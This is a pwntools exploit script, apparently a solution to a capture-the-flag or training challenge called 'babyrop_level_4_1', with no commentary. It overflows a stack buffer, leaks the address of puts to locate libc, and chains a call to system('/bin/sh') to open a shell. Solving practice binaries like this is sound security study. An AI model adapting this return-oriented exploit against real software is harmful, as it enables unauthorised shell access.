jc
40 lines
700 B
Python
40 lines
700 B
Python
#!/usr/bin/python3
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from pwn import *
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context.binary = target = ELF("./babyrop_level_4_1", checksec=False)
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libc = target.libc
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r = process()
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# funcs
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s = lambda a: r.sendline(a)
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# gadgets
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pop_rdi = 0x401d4e
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# buf
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buf = b"A"*56
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buf += p64(pop_rdi)
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buf += p64(target.got.puts)
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buf += p64(target.sym.puts)
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buf += p64(target.sym.challenge)
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s(buf)
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# leak
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r.recvuntil(b"Leaving!\n")
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puts = u64(r.recv(6).ljust(8, b"\x00"))
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log.info("puts: %#x", puts)
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libc.address = puts - libc.sym.puts
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log.info("libc: %#x", libc.address)
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sh = next(libc.search(b"/bin/sh"))
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system = libc.sym.system
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# pop
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buf = b"A"*56
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buf += p64(pop_rdi)
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buf += p64(sh)
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buf += p64(pop_rdi+1)
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buf += p64(system)
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s(buf)
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r.interactive() |